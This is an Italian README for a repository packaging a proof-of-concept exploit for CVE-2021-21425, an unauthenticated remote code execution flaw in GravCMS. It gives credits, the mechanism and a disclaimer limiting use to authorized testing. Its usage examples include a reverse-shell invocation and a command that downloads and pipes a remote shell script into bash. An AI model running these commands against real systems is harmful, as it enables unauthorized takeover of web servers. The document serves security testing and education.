CVE-2021-21425 - GravCMS RCE non autenticato

Proof-of-concept migliorato per CVE-2021-21425, una vulnerabilità di Remote Code Execution non autenticata in GravCMS <= 1.10.7 tramite scrittura arbitraria di YAML nello scheduler.

Crediti

Questo è un lavoro derivato. La vulnerabilità e l'exploit originale non sono miei.

Ruolo	Chi
Vulnerabilità scoperta da	Mehmet Ince (@mdisec), PRODAFT / INVICTUS Europe — Marzo 2021
PoC originale di	"legend" — Exploit-DB EDB-49973
Modifiche in questo repo di	d4ytox

Cosa cambia in questa versione

L'originale EDB-49973 richiede la modifica manuale di valori hardcoded nello script. Questa versione aggiunge:

• Argomenti da riga di comando per target, LHOST, LPORT
• Codifica base64 automatica del payload reverse shell
• Supporto per comandi personalizzati (-c)
• Gestione degli errori e output di stato

Queste sono modifiche di usabilità a un exploit esistente. Non viene rivendicata alcuna ricerca sulla vulnerabilità.

Vulnerabilità

Campo	Valore
CVE	CVE-2021-21425
EDB-ID	49973
Affetto	GravCMS <= 1.10.7
Tipo	RCE non autenticato
CVSS	9.8 (Critico)

Il plugin Grav Admin non verifica l'autenticazione su alcune route admin, consentendo a utenti non autenticati di scrivere configurazioni YAML arbitrarie. Questo exploit sfrutta la configurazione dello scheduler per creare un cron job che esegue codice PHP arbitrario.

Utilizzo

# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>

# Custom command
python3 exploit.py -t http://target -c "id"

Esempi

# Get reverse shell on target
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444

# Execute command
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"

Requisiti

pip install requests

Come funziona

1. Recupera /admin per estrarre il token admin-nonce (nessuna autenticazione richiesta a causa della vulnerabilità)
2. Invia una POST a /admin/config/scheduler con una configurazione cron job malevola
3. Lo scheduler esegue il payload PHP tramite /usr/bin/php -r eval(base64_decode(...))
4. PHP scrive la reverse shell decodificata da base64 in /tmp/rev.sh e la esegue

Il cron job viene eseguito ogni minuto (* * * * *), quindi la shell arriva entro 60 secondi.

Timeline

• 2021-03-18 - Vulnerabilità trovata da Mehmet Ince durante un penetration test
• 2021-03-29 - Divulgata
• 2021-04-01 - Corretta in Grav Admin Plugin 1.10.8

Riferimenti

• Voce NVD
• GitHub Security Advisory GHSA-6f53-6qgv-39pj
• Writeup originale di Mehmet Ince (Pentest Blog)
• PoC originale - Exploit-DB EDB-49973

Licenza

MIT, applicata solo alle modifiche in questo repository. Il PoC upstream non ha licenza, quindi rimane tutti i diritti riservati dal suo autore. Vedi LICENSE per l'avviso completo di attribuzione.

Disclaimer

Solo per test di sicurezza autorizzati. Assicurati di avere il permesso scritto prima di testare su qualsiasi sistema.